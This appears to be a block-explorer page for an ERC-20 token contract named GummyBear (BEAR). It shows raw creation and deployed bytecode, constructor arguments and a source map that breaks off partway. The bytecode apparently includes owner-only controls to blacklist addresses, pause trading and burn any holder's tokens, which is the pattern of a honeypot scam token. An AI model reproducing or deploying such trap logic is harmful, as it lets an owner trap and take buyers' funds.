0390a3505050565b6000610c4284846109de565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbc5781811015610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca590611a93565b60405180910390fd5b610cbb8484848403610a6d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890611b25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790611bb7565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610df45750610dc56112e0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e315750610e026112e0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110ae576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156110a957600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f145760008114610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90611bfd565b60405180910390fd5b5b610f1f838383611309565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d90611c8f565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103b919061185d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161109f91906114e8565b60405180910390a3505b611105565b60011515600760009054906101000a900460ff16151514611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb90611bfd565b60405180910390fd5b5b61111083838361130e565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90611d21565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290611db3565b60405180910390fd5b816008546112199190611dd3565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461126e9190611dd3565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d391906114e8565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561134d578082015181840152602081019050611332565b60008484015250505050565b6000601f19601f8301169050919050565b600061137582611313565b61137f818561131e565b935061138f81856020860161132f565b61139881611359565b840191505092915050565b600060208201905081810360008301526113bd818461136a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113fa826113cf565b9050919050565b61140a816113ef565b811461141557600080fd5b50565b60008135905061142781611401565b92915050565b6000819050919050565b6114408161142d565b811461144b57600080fd5b50565b60008135905061145d81611437565b92915050565b6000806040838503121561147a576114796113c5565b5b600061148885828601611418565b92505060206114998582860161144e565b9150509250929050565b60008115159050919050565b6114b8816114a3565b82525050565b60006020820190506114d360008301846114af565b92915050565b6114e28161142d565b82525050565b60006020820190506114fd60008301846114d9565b92915050565b600060208284031215611519576115186113c5565b5b600061152784828501611418565b91505092915050565b600080600060608486031215611549576115486113c5565b5b600061155786828701611418565b935050602061156886828701611418565b92505060406115798682870161144e565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126115a8576115a7611583565b5b8235905067ffffffffffffffff8111156115c5576115c4611588565b5b6020830191508360208202830111156115e1576115e061158d565b5b9250929050565b6115f1816114a3565b81146115fc57600080fd5b50565b60008135905061160e816115e8565b92915050565b60008060006040848603121561162d5761162c6113c5565b5b600084013567ffffffffffffffff81111561164b5761164a6113ca565b5b61165786828701611592565b9350935050602061166a868287016115ff565b9150509250925092565b600060ff82169050919050565b61168a81611674565b82525050565b60006020820190506116a56000830184611681565b92915050565b600080604083850312156116c2576116c16113c5565b5b60006116d085828601611418565b92505060206116e185828601611418565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061173257607f821691505b602082108103611745576117446116eb565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061178160208361131e565b915061178c8261174b565b602082019050919050565b600060208201905081810360008301526117b081611774565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118208261142d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611852576118516117e6565b5b600182019050919050565b60006118688261142d565b91506118738361142d565b925082820190508082111561188b5761188a6117e6565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006118ed60258361131e565b91506118f882611891565b604082019050919050565b6000602082019050818103600083015261191c816118e0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061197f60248361131e565b915061198a82611923565b604082019050919050565b600060208201905081810360008301526119ae81611972565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a1160228361131e565b9150611a1c826119b5565b604082019050919050565b60006020820190508181036000830152611a4081611a04565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611a7d601d8361131e565b9150611a8882611a47565b602082019050919050565b60006020820190508181036000830152611aac81611a70565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611b0f60258361131e565b9150611b1a82611ab3565b604082019050919050565b60006020820190508181036000830152611b3e81611b02565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ba160238361131e565b9150611bac82611b45565b604082019050919050565b60006020820190508181036000830152611bd081611b94565b9050919050565b50565b6000611be760008361131e565b9150611bf282611bd7565b600082019050919050565b60006020820190508181036000830152611c1681611bda565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611c7960268361131e565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d0b60218361131e565b9150611d1682611caf565b604082019050919050565b60006020820190508181036000830152611d3a81611cfe565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d9d60228361131e565b9150611da882611d41565b604082019050919050565b60006020820190508181036000830152611dcc81611d90565b9050919050565b6000611dde8261142d565b9150611de98361142d565b9250828203905081811115611e0157611e006117e6565b5b9291505056fea264697066735822122023246241b5d1b72ed7ab55ca3dc0c6fc1e832e2d743a639256e66ab006b6c9b164736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000017e5ec1d0c344000000000000000000000000000000000000000000000000000000000000000947756d6d7942656172000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044245415200000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806339509351116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b8063395093511461020057806370a082311461023057806391b69fa01461026057806395d89b411461026a576100f5565b80632313e06a116100d35780632313e06a1461016657806323b872dd146101965780632ce1a430146101c6578063313ce567146101e2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f91906113a3565b60405180910390f35b610132600480360381019061012d9190611463565b6103c6565b60405161013f91906114be565b60405180910390f35b6101506103e9565b60405161015d91906114e8565b60405180910390f35b610180600480360381019061017b9190611503565b6103f3565b60405161018d91906114be565b60405180910390f35b6101b060048036038101906101ab9190611530565b610449565b6040516101bd91906114be565b60405180910390f35b6101e060048036038101906101db9190611614565b610478565b005b6101ea6105b2565b6040516101f79190611690565b60405180910390f35b61021a60048036038101906102159190611463565b6105bb565b60405161022791906114be565b60405180910390f35b61024a60048036038101906102459190611503565b610665565b60405161025791906114e8565b60405180910390f35b6102686106ae565b005b61027261079c565b60405161027f91906113a3565b60405180910390f35b6102a2600480360381019061029d9190611463565b61082e565b005b6102be60048036038101906102b99190611463565b6108d1565b6040516102cb91906114be565b60405180910390f35b6102ee60048036038101906102e99190611463565b6109bb565b6040516102fb91906114be565b60405180910390f35b61031e600480360381019061031991906116ab565b6109de565b60405161032b91906114e8565b60405180910390f35b6060600580546103439061171a565b80601f016020809104026020016040519081016040528092919081815260200182805461036f9061171a565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a65565b90506103de818585610a6d565b600191505092915050565b6000600354905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610454610a65565b9050610461858285610c36565b61046c858585610cc2565b60019150509392505050565b610480610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461050d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050490611797565b60405180910390fd5b60005b838390508110156105ac578160096000868685818110610533576105326117b7565b5b90506020020160208101906105489190611503565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105a490611815565b915050610510565b50505050565b60006009905090565b6000806105c6610a65565b905061065a818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610655919061185d565b610a6d565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b6610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90611797565b60405180910390fd5b60001515600760009054906101000a900460ff1615150361077e576001600760006101000a81548160ff02191690831515021790555061079a565b6000600760006101000a81548160ff0219169083151502179055505b565b6060600680546107ab9061171a565b80601f01602080910402602001604051908101604052809291908181526020018280546107d79061171a565b80156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b610836610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba90611797565b60405180910390fd5b6108cd8282611115565b5050565b6000806108dc610a65565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099990611903565b60405180910390fd5b6109af8286868403610a6d565b60019250505092915050565b6000806109c6610a65565b90506109d3818585610cc2565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390611995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611a27565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2991906114e8565b60405180910390a3505050565b6000610c4284846109de565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbc5781811015610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca590611a93565b60405180910390fd5b610cbb8484848403610a6d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890611b25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790611bb7565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610df45750610dc56112e0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e315750610e026112e0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110ae576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156110a957600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f145760008114610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90611bfd565b60405180910390fd5b5b610f1f838383611309565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d90611c8f565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103b919061185d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161109f91906114e8565b60405180910390a3505b611105565b60011515600760009054906101000a900460ff16151514611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb90611bfd565b60405180910390fd5b5b61111083838361130e565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90611d21565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290611db3565b60405180910390fd5b816008546112199190611dd3565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461126e9190611dd3565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d391906114e8565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561134d578082015181840152602081019050611332565b60008484015250505050565b6000601f19601f8301169050919050565b600061137582611313565b61137f818561131e565b935061138f81856020860161132f565b61139881611359565b840191505092915050565b600060208201905081810360008301526113bd818461136a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113fa826113cf565b9050919050565b61140a816113ef565b811461141557600080fd5b50565b60008135905061142781611401565b92915050565b6000819050919050565b6114408161142d565b811461144b57600080fd5b50565b60008135905061145d81611437565b92915050565b6000806040838503121561147a576114796113c5565b5b600061148885828601611418565b92505060206114998582860161144e565b9150509250929050565b60008115159050919050565b6114b8816114a3565b82525050565b60006020820190506114d360008301846114af565b92915050565b6114e28161142d565b82525050565b60006020820190506114fd60008301846114d9565b92915050565b600060208284031215611519576115186113c5565b5b600061152784828501611418565b91505092915050565b600080600060608486031215611549576115486113c5565b5b600061155786828701611418565b935050602061156886828701611418565b92505060406115798682870161144e565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126115a8576115a7611583565b5b8235905067ffffffffffffffff8111156115c5576115c4611588565b5b6020830191508360208202830111156115e1576115e061158d565b5b9250929050565b6115f1816114a3565b81146115fc57600080fd5b50565b60008135905061160e816115e8565b92915050565b60008060006040848603121561162d5761162c6113c5565b5b600084013567ffffffffffffffff81111561164b5761164a6113ca565b5b61165786828701611592565b9350935050602061166a868287016115ff565b9150509250925092565b600060ff82169050919050565b61168a81611674565b82525050565b60006020820190506116a56000830184611681565b92915050565b600080604083850312156116c2576116c16113c5565b5b60006116d085828601611418565b92505060206116e185828601611418565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061173257607f821691505b602082108103611745576117446116eb565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061178160208361131e565b915061178c8261174b565b602082019050919050565b600060208201905081810360008301526117b081611774565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118208261142d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611852576118516117e6565b5b600182019050919050565b60006118688261142d565b91506118738361142d565b925082820190508082111561188b5761188a6117e6565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006118ed60258361131e565b91506118f882611891565b604082019050919050565b6000602082019050818103600083015261191c816118e0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061197f60248361131e565b915061198a82611923565b604082019050919050565b600060208201905081810360008301526119ae81611972565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a1160228361131e565b9150611a1c826119b5565b604082019050919050565b60006020820190508181036000830152611a4081611a04565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611a7d601d8361131e565b9150611a8882611a47565b602082019050919050565b60006020820190508181036000830152611aac81611a70565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611b0f60258361131e565b9150611b1a82611ab3565b604082019050919050565b60006020820190508181036000830152611b3e81611b02565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ba160238361131e565b9150611bac82611b45565b604082019050919050565b60006020820190508181036000830152611bd081611b94565b9050919050565b50565b6000611be760008361131e565b9150611bf282611bd7565b600082019050919050565b60006020820190508181036000830152611c1681611bda565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611c7960268361131e565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d0b60218361131e565b9150611d1682611caf565b604082019050919050565b60006020820190508181036000830152611d3a81611cfe565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d9d60228361131e565b9150611da882611d41565b604082019050919050565b60006020820190508181036000830152611dcc81611d90565b9050919050565b6000611dde8261142d565b9150611de98361142d565b9250828203905081811115611e0157611e006117e6565b5b9291505056fea264697066735822122023246241b5d1b72ed7ab55ca3dc0c6fc1e832e2d743a639256e66ab006b6c9b164736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000017e5ec1d0c344000000000000000000000000000000000000000000000000000000000000000947756d6d7942656172000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044245415200000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): GummyBear
Arg [1] : symbol (string): BEAR
Arg [2] : totalSupply (uint256): 420420420420420

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000017e5ec1d0c344
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 47756d6d79426561720000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 4245415200000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2065:311:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2787:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5137:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3906:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2550:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5918:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13749:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3749:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6622:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4077:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2382:160;;;:::i;:::-;;3006:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2266:107:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7365:438:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4410:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4666:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2787:100;2841:13;2874:5;2867:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2787:100;:::o;5137:201::-;5220:4;5237:13;5253:12;:10;:12::i;:::-;5237:28;;5276:32;5285:5;5292:7;5301:6;5276:8;:32::i;:::-;5326:4;5319:11;;;5137:201;;;;:::o;3906:108::-;3967:7;3994:12;;3987:19;;3906:108;:::o;2550:167::-;2614:4;2638:62;:71;2701:7;2638:71;;;;;;;;;;;;;;;;;;;;;;;;;2631:78;;2550:167;;;:::o;5918:295::-;6049:4;6066:15;6084:12;:10;:12::i;:::-;6066:30;;6107:38;6123:4;6129:7;6138:6;6107:15;:38::i;:::-;6156:27;6166:4;6172:2;6176:6;6156:9;:27::i;:::-;6201:4;6194:11;;;5918:295;;;;;:::o;13749:238::-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13839:9:1::1;13834:146;13858:4;;:11;;13854:1;:15;13834:146;;;13965:3;13891:62;:71;13954:4;;13959:1;13954:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13891:71;;;;;;;;;;;;;;;;:77;;;;;;;;;;;;;;;;;;13871:3;;;;;:::i;:::-;;;;13834:146;;;;13749:238:::0;;;:::o;3749:92::-;3807:5;3832:1;3825:8;;3749:92;:::o;6622:240::-;6710:4;6727:13;6743:12;:10;:12::i;:::-;6727:28;;6766:66;6775:5;6782:7;6821:10;6791:11;:18;6803:5;6791:18;;;;;;;;;;;;;;;:27;6810:7;6791:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6766:8;:66::i;:::-;6850:4;6843:11;;;6622:240;;;;:::o;4077:127::-;4151:7;4178:9;:18;4188:7;4178:18;;;;;;;;;;;;;;;;4171:25;;4077:127;;;:::o;2382:160::-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2457:5:1::1;2440:22;;:13;;;;;;;;;;;:22;;::::0;2436:99:::1;;2490:4;2474:13;;:20;;;;;;;;;;;;;;;;;;2436:99;;;2528:5;2512:13;;:21;;;;;;;;;;;;;;;;;;2436:99;2382:160::o:0;3006:104::-;3062:13;3095:7;3088:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3006:104;:::o;2266:107:2:-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2343:22:2::1;2349:7;2358:6;2343:5;:22::i;:::-;2266:107:::0;;:::o;7365:438:1:-;7458:4;7475:13;7491:12;:10;:12::i;:::-;7475:28;;7514:24;7541:11;:18;7553:5;7541:18;;;;;;;;;;;;;;;:27;7560:7;7541:27;;;;;;;;;;;;;;;;7514:54;;7607:15;7587:16;:35;;7579:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7700:60;7709:5;7716:7;7744:15;7725:16;:34;7700:8;:60::i;:::-;7791:4;7784:11;;;;7365:438;;;;:::o;4410:193::-;4489:4;4506:13;4522:12;:10;:12::i;:::-;4506:28;;4545;4555:5;4562:2;4566:6;4545:9;:28::i;:::-;4591:4;4584:11;;;4410:193;;;;:::o;4666:151::-;4755:7;4782:11;:18;4794:5;4782:18;;;;;;;;;;;;;;;:27;4801:7;4782:27;;;;;;;;;;;;;;;;4775:34;;4666:151;;;;:::o;862:98:0:-;915:7;942:10;935:17;;862:98;:::o;11168:380:1:-;11321:1;11304:19;;:5;:19;;;11296:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11402:1;11383:21;;:7;:21;;;11375:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11486:6;11456:11;:18;11468:5;11456:18;;;;;;;;;;;;;;;:27;11475:7;11456:27;;;;;;;;;;;;;;;:36;;;;11524:7;11508:32;;11517:5;11508:32;;;11533:6;11508:32;;;;;;:::i;:::-;;;;;;;;11168:380;;;:::o;11835:453::-;11970:24;11997:25;12007:5;12014:7;11997:9;:25::i;:::-;11970:52;;12057:17;12037:16;:37;12033:248;;12119:6;12099:16;:26;;12091:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12203:51;12212:5;12219:7;12247:6;12228:16;:25;12203:8;:51::i;:::-;12033:248;11959:329;11835:453;;;:::o;8282:995::-;8429:1;8413:18;;:4;:18;;;8405:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8506:1;8492:16;;:2;:16;;;8484:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8580:4;8563:21;;:13;;;;;;;;;;;:21;;;:40;;;;8596:7;:5;:7::i;:::-;8588:15;;:4;:15;;;8563:40;:57;;;;8613:7;:5;:7::i;:::-;8607:13;;:2;:13;;;8563:57;8559:663;;;8658:1;8640:9;:15;8650:4;8640:15;;;;;;;;;;;;;;;;:19;8637:530;;;8679:62;:68;